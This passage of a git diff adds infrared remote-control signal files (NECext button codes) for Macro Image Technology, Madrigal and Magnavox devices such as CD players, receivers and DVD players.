11 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 12 00 00 00 +# +name: MTS +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 13 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 14 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 16 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 17 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 18 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 1A 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 1B 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 1E 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 1F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Macro Image Technology/Unknown_MyHD/48,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Macro Image Technology/Unknown_MyHD/48,-1.ir new file mode 100644 index 000000000..523e20dd7 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Macro Image Technology/Unknown_MyHD/48,-1.ir @@ -0,0 +1,206 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 00 00 00 00 +# +name: INPUT +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 01 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 02 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 03 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 04 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 05 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 06 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 07 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 08 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 09 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 10 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 11 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 12 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 13 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 14 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 15 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 16 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 17 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 18 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 19 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 20 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 21 00 00 00 +# +name: KEY_ESC +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 22 00 00 00 +# +name: KEY_FAVORITES +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 23 00 00 00 +# +name: ASPECT +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 24 00 00 00 +# +name: CAPTION +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 25 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 26 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 27 00 00 00 +# +name: F/F +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 28 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 29 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 30 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 31 00 00 00 +# +name: HD +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 32 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 33 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Madrigal/CD Player/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Madrigal/CD Player/0,-1.ir new file mode 100644 index 000000000..d478537d1 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Madrigal/CD Player/0,-1.ir @@ -0,0 +1,50 @@ +Filetype: IR signals file +Version: 1 +# +name: INPUT_1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 20 00 00 00 +# +name: INPUT_2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 21 00 00 00 +# +name: INPUT_3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 22 00 00 00 +# +name: INPUT_4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 23 00 00 00 +# +name: INPUT_5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 24 00 00 00 +# +name: INPUT_6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 25 00 00 00 +# +name: OPERATE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2A 00 00 00 +# +name: STANDBY +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2B 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Madrigal/CD Player/2,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Madrigal/CD Player/2,-1.ir new file mode 100644 index 000000000..23666b7aa --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Madrigal/CD Player/2,-1.ir @@ -0,0 +1,92 @@ +Filetype: IR signals file +Version: 1 +# +name: DIGITAL_MODE +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 27 00 00 00 +# +name: ANALOG_MODE +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 28 00 00 00 +# +name: CLOSE_LID +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 29 00 00 00 +# +name: OPEN_LID +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 2A 00 00 00 +# +name: INDEX_OFF +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 2E 00 00 00 +# +name: INDEX_ON +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 2F 00 00 00 +# +name: REPEAT_OFF +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 30 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 31 00 00 00 +# +name: UNPAUSE +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 32 00 00 00 +# +name: DISPLAY_MEDIUM +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 33 00 00 00 +# +name: DISPLAY_OFF +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 34 00 00 00 +# +name: STOP;_NO_LID +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 35 00 00 00 +# +name: STANDBY +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 36 00 00 00 +# +name: OPERATE +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 37 00 00 00 +# +name: RANDOM_PLAY +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 38 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Madrigal/CD Player/7,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Madrigal/CD Player/7,-1.ir new file mode 100644 index 000000000..050796366 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Madrigal/CD Player/7,-1.ir @@ -0,0 +1,74 @@ +Filetype: IR signals file +Version: 1 +# +name: AMPLIFIER_ON +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 33 00 00 00 +# +name: RECORD_OFF +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 34 00 00 00 +# +name: RECORD_ON +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 35 00 00 00 +# +name: REGULAR_POLARITY +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 36 00 00 00 +# +name: INVERT_POLARITY +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 37 00 00 00 +# +name: HALF_INTENSITY +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 38 00 00 00 +# +name: FULL_INTENSITY +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 39 00 00 00 +# +name: RECORD_MODE +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 3A 00 00 00 +# +name: MONITOR_MODE +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 3B 00 00 00 +# +name: OPERATE +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 3C 00 00 00 +# +name: STANDBY +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 3D 00 00 00 +# +name: MUTE_(DISCREET) +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 3E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Madrigal/Receiver/5,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Madrigal/Receiver/5,-1.ir new file mode 100644 index 000000000..58e988a2b --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Madrigal/Receiver/5,-1.ir @@ -0,0 +1,260 @@ +Filetype: IR signals file +Version: 1 +# +name: CD_1_(5) +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 01 00 00 00 +# +name: BAL/AUX_(9) +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 02 00 00 00 +# +name: L.D._(3) +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 03 00 00 00 +# +name: INPUT +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 04 00 00 00 +# +name: MASTER +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 05 00 00 00 +# +name: REAR +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 06 00 00 00 +# +name: STDBY +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 07 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 08 00 00 00 +# +name: CD_2_(6) +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 09 00 00 00 +# +name: TUNER_(0) +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 0A 00 00 00 +# +name: TV/AUX_(4) +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 0B 00 00 00 +# +name: DELAY +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 0C 00 00 00 +# +name: BAL +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 0D 00 00 00 +# +name: SUB +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 0E 00 00 00 +# +name: MODE +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 0F 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 10 00 00 00 +# +name: TAPE_1_(7) +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 11 00 00 00 +# +name: VCR_1_(1) +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 12 00 00 00 +# +name: PATH +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 13 00 00 00 +# +name: RECALL +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 14 00 00 00 +# +name: CNTR +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 15 00 00 00 +# +name: TAPE_2_(8) +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 19 00 00 00 +# +name: VCR_2_(2) +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 1A 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 1B 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 1E 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 1F 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 20 00 00 00 +# +name: ON_SCREEN +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 21 00 00 00 +# +name: THX_(FROM_PAV) +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 22 00 00 00 +# +name: PRO_(FROM_PAV) +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 23 00 00 00 +# +name: STEREO_(FORM_PAV) +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 24 00 00 00 +# +name: MONO_S_(FROM_PAV) +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 25 00 00 00 +# +name: S_OFF_(FROM_PAV) +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 26 00 00 00 +# +name: MONO_(FROM_PAV) +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 27 00 00 00 +# +name: MAIN_(FROM_PAV) +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 28 00 00 00 +# +name: REMOTE_(FROM_PAV) +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 29 00 00 00 +# +name: BOTH_(FROM_PAV) +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 2A 00 00 00 +# +name: RECORD_(FROM_PAV) +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 2B 00 00 00 +# +name: OPERATE_(FROM_PAV) +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 2E 00 00 00 +# +name: STANDBY_(FROM_PAV) +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 2F 00 00 00 +# +name: MUTE_ON_(FROM_PAV) +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 30 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 30 00 00 00 +# +name: MUTE_OFF_(FROM_PAV) +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 31 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Magnavox/DSS/128,63.ir b/assets/resources/infrared/_CSV-IRDB_/Magnavox/DSS/128,63.ir new file mode 100644 index 000000000..f2de87bee --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Magnavox/DSS/128,63.ir @@ -0,0 +1,170 @@ +Filetype: IR signals file +Version: 1 +# +name: 3 +type: parsed +protocol: NECext +address: 80 3F 00 00 +command: 0C 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 80 3F 00 00 +command: 0D 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 80 3F 00 00 +command: 0E 00 00 00 +# +name: THEME +type: parsed +protocol: NECext +address: 80 3F 00 00 +command: 11 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 80 3F 00 00 +command: 12 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 80 3F 00 00 +command: 14 00 00 00 +# +name: CHANNEL_- +type: parsed +protocol: NECext +address: 80 3F 00 00 +command: 15 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 80 3F 00 00 +command: 15 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 80 3F 00 00 +command: 16 00 00 00 +# +name: PAGE +type: parsed +protocol: NECext +address: 80 3F 00 00 +command: 18 00 00 00 +# +name: CHANNEL_+ +type: parsed +protocol: NECext +address: 80 3F 00 00 +command: 1D 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 80 3F 00 00 +command: 1D 00 00 00 +# +name: JUMP +type: parsed +protocol: NECext +address: 80 3F 00 00 +command: 1E 00 00 00 +# +name: TV/DSS +type: parsed +protocol: NECext +address: 80 3F 00 00 +command: 40 00 00 00 +# +name: ALTERNATE_AUDIO +type: parsed +protocol: NECext +address: 80 3F 00 00 +command: 41 00 00 00 +# +name: GUIDE +type: parsed +protocol: NECext +address: 80 3F 00 00 +command: 42 00 00 00 +# +name: FAVORITE +type: parsed +protocol: NECext +address: 80 3F 00 00 +command: 43 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 80 3F 00 00 +command: 44 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 80 3F 00 00 +command: 45 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 80 3F 00 00 +command: 47 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: 80 3F 00 00 +command: 49 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 80 3F 00 00 +command: 4C 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 80 3F 00 00 +command: 4D 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 80 3F 00 00 +command: 4E 00 00 00 +# +name: INFO +type: parsed +protocol: NECext +address: 80 3F 00 00 +command: 53 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 80 3F 00 00 +command: 54 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 80 3F 00 00 +command: 55 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 80 3F 00 00 +command: 56 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Magnavox/DVD Player/1,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Magnavox/DVD Player/1,-1.ir new file mode 100644 index 000000000..312a14887 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Magnavox/DVD Player/1,-1.ir @@ -0,0 +1,212 @@ +Filetype: IR signals file +Version: 1 +# +name: ZOOM +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 06 00 00 00 +# +name: ANGLE +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0A 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0B 00 00 00 +# +name: AUDIO +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0E 00 00 00 +# +name: PLAY_/_PAUSE +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0F 00 00 00 +# +name: SUBTITLE +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 12 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 13 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 14 00 00 00 +# +name: SKIP_>> +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 15 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 16 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 17 00 00 00 +# +name: CURSOR_OK +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 18 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 19 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 1A 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 1B 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 1C 00 00 00 +# +name: SKIP_<< +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 1D 00 00 00 +# +name: OPEN/CLOSE +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 1E 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 1F 00 00 00 +# +name: STEP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 44 00 00 00 +# +name: SLOW_MOTION_+ +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 48 00 00 00 +# +name: REPEAT_A-B +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 4C 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 50 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 54 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 55 00 00 00 +# +name: SEARCH +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 56 00 00 00 +# +name: SETUP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 57 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 58 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 59 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 5A 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 5B 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 5C 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 5D 00 00 00 +# +name: RETURN_/_TITLE +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 5E 00 00 00 +# +name: DISC_MENU +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 5F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Magnavox/DVD Player/135,34.ir b/assets/resources/infrared/_CSV-IRDB_/Magnavox/DVD Player/135,34.ir new file mode 100644 index 000000000..46bd1bc79 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Magnavox/DVD Player/135,34.ir @@ -0,0 +1,242 @@ +Filetype: IR signals file +Version: 1 +# +name: POWER +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 41 00 00 00 +# +name: SIDE_A/B +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 43 00 00 00 +# +name: OPEN/CLOSE +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 44 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 45 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 46 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 47 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 48 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 49 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 4A 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 4B 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 4C 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 4D 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 4E 00 00 00 +# +name: SCAN_<< +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 52 00 00 00 +# +name: SEARCH_<< +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 52 00 00 00 +# +name: SCAN_>> +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 53 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 55 00 00 00 +# +name: SEARCH_MODE +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 57 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 58 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 5B 00 00 00 +# +name: MODE +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 5C 00 00 00 +# +name: FRAME_<< +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 5D 00 00 00 +# +name: SKIP_<< +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 5D 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 5E 00 00 00 +# +name: FRAME_>> +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 5F 00 00 00 +# +name: SKIP_>> +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 5F 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 60 00 00 00 +# +name: TOP_MENU +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 70 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 71 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 72 00 00 00 +# +name: RETURN +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 73 00 00 00 +# +name: SETUP +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 74 00 00 00 +# +name: AAROW_LEFT +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 75 00 00 00 +# +name: AAROW_RIGHT +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 76 00 00 00 +# +name: AAROW_UP +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 77 00 00 00 +# +name: AAROW_DOWN +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 78 00 00 00 +# +name: ANGLE +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 79 00 00 00 +# +name: SUBTITLE +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 7A 00 00 00 +# +name: AUDIO +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 7B 00 00 00 +# +name: ZOOM +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 81 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Magnavox/DVD Player/4,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Magnavox/DVD Player/4,-1.ir new file mode 100644 index 000000000..424a491a4 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Magnavox/DVD Player/4,-1.ir @@ -0,0 +1,200 @@ +Filetype: IR signals file +Version: 1 +# +name: 0 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 00 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 06 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 09 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0C 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0D 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0F 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 1D 00 00 00 +# +name: NEXT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 20 00 00 00 +# +name: PREV +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 21 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 2C 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 30 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 31 00 00 00 +# +name: REPEAT_A-B +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 3B 00 00 00 +# +name: SUBTITLE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 4B 00 00 00 +# +name: AUDIO_MODE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 4E 00 00 00 +# +name: MENU_DISC +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 54 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 58 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 59 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 5A 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 5B 00 00 00 +# +name: CURSOR_OK +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 5C 00 00 00 +# +name: MENU_SYSTEM +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 82 00 00 00 +# +name: TITLE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 83 00 00 00 +# +name: ANGLE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 85 00 00 00 +# +name: PREVIEW +type: parsed +protocol: NECext +address: 04 00 00 00 +command: D5 00 00 00 +# +name: ZOOM +type: parsed +protocol: NECext +address: 04 00 00 00 +command: F7 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Magnavox/DVD Recorder/135,34.ir b/assets/resources/infrared/_CSV-IRDB_/Magnavox/DVD Recorder/135,34.ir new file mode 100644 index 000000000..d16c853fe --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Magnavox/DVD Recorder/135,34.ir @@ -0,0 +1,152 @@ +Filetype: IR signals file +Version: 1 +# +name: CHANNEL_- +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 35 00 00 00 +# +name: RECORD +type: parsed +protocol: NECext +address: 87 22 00 00 +command: 3F 00 00 00 